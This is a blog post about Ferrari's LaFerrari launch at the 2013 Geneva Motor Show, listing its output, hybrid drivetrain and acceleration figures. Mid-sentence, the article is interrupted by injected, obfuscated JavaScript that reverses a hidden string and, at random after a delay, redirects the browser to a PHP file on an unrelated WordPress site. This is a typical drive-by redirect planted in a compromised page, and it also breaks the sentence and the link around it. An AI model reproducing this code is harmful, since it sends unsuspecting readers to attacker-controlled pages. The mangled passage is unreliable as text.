Ferrari unveils the successor to the Enzo, the LaFerrari, at the 2013 Geneva Motor Show, and seals the deal with an official launch video.
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Let’s skip over the 45 minute conversation concerning its new name (yeah yeah, the first syllable is ‘laugh’) and move straight into the meat of the brand spanking, heart stopping, pulse ripping successor to the Enzo: LaFerrari.
You’ll have to forgive the superlatives, but the fact of the matter is that the new addition to the Special Limited Series chucks out 950bhp (963 CV) – $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mclaren-p1-official-903bhp-power-revealed/” target=”_blank”>compared to 903bhp for the McLaren P1 – courtesy of a 789bhp (800 CV) 6.3-litre V12 and a 161bhp (163 CV) electric motor, wolfs 0-100kph in ‘less than three seconds’, and hits a skull rattling top speed ‘in excess’ of 350kph. From standstill to 300kph takes a quite staggering 15 seconds.
Say what you like about the name and the styling, the performance of LaFerrari is no laughing matter. Nor is the symphony coming out the exhausts at full pelt.
Source – Ferrari and Ferrariworld
